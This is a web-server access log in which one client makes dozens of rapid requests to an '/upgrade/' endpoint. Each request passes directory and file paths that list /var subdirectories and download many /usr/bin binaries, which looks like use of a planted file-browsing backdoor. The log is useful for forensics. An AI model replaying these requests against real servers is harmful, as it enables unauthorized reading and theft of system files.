45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Fcache HTTP/1.1" 200 6450 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fcache" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?full_path=%2Fvar&location=%2Fvar%2F HTTP/1.1" 200 7386 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar&location=%2Fvar%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/index.php?location=%2Fvar%2F HTTP/1.1" 200 7378 "http://163.245.207.76:443/upgrade/index.php?location=%2Fvar%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Fdb HTTP/1.1" 200 6039 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fdb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Fgames HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fgames" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Fimunify360 HTTP/1.1" 200 7547 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fimunify360" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Flocal HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flocal" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Frun HTTP/1.1" 200 11688 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Frun" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2F&option=file HTTP/1.1" 200 7385 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fadm HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fadm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fftp HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fftp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fnamed HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fnamed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fnis HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fnis" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fcrash HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fcrash" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fyp HTTP/1.1" 200 5717 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fyp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fmail HTTP/1.1" 200 6182 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fmail" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fpreserve HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fpreserve" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fwww HTTP/1.1" 200 6011 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fwww" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fcpanel HTTP/1.1" 200 5745 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fcpanel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Fkerberos HTTP/1.1" 200 5928 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fkerberos" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Flog HTTP/1.1" 200 12064 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flog" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:29 -0400] "GET /upgrade/?location=%2Fvar%2Flock HTTP/1.1" 200 6365 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flock" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?location=%2Fvar%2F&option=dir HTTP/1.1" 200 7385 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?location=%2Fvar%2Fopt HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fopt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?location=%2Fvar%2Fspool HTTP/1.1" 200 6286 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fspool" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-validate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103470 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-validate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ses&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 145046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ses&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_opcodes&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_opcodes&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funzipsfx&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 139098 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funzipsfx&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzcat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzcat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlaccess&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127627 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlaccess&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpstree.x11&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110601 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpstree.x11&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Freposync&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97514 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Freposync&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchmem&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109494 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchmem&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkrelpath&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 196389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkrelpath&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125711 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98817 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha512hmac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108527 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha512hmac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fattr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fattr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbus-codegen&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbus-codegen&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-syslinux2cfg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 508340 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-syslinux2cfg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify360-agent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify360-agent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-exp-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100507 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-exp-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 146575 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdf2dsc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96198 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdf2dsc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Freplace&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 875488 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Freplace&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95929 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzegrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97017 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzegrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fh2ph&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fh2ph&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscriptreplay&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108306 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscriptreplay&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetup-nsssysinit.sh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96513 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetup-nsssysinit.sh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsnice&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107079 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsnice&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbus&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbus&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fisql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110601 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fisql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_tzinfo_to_sql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 888778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_tzinfo_to_sql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlcheck&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 999403 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlcheck&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlimport&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 996666 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlimport&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-hostname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 377013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-hostname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpage_owner_sort&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103907 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpage_owner_sort&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprove&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101699 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprove&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiio_event_monitor&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105576 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiio_event_monitor&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmesg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101042 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmesg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnproc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108509 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnproc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpcbind&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121125 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpcbind&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpm2archive&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102121 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpm2archive&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsecon&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104459 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsecon&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsestatus&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsestatus&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftabs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102404 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftabs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
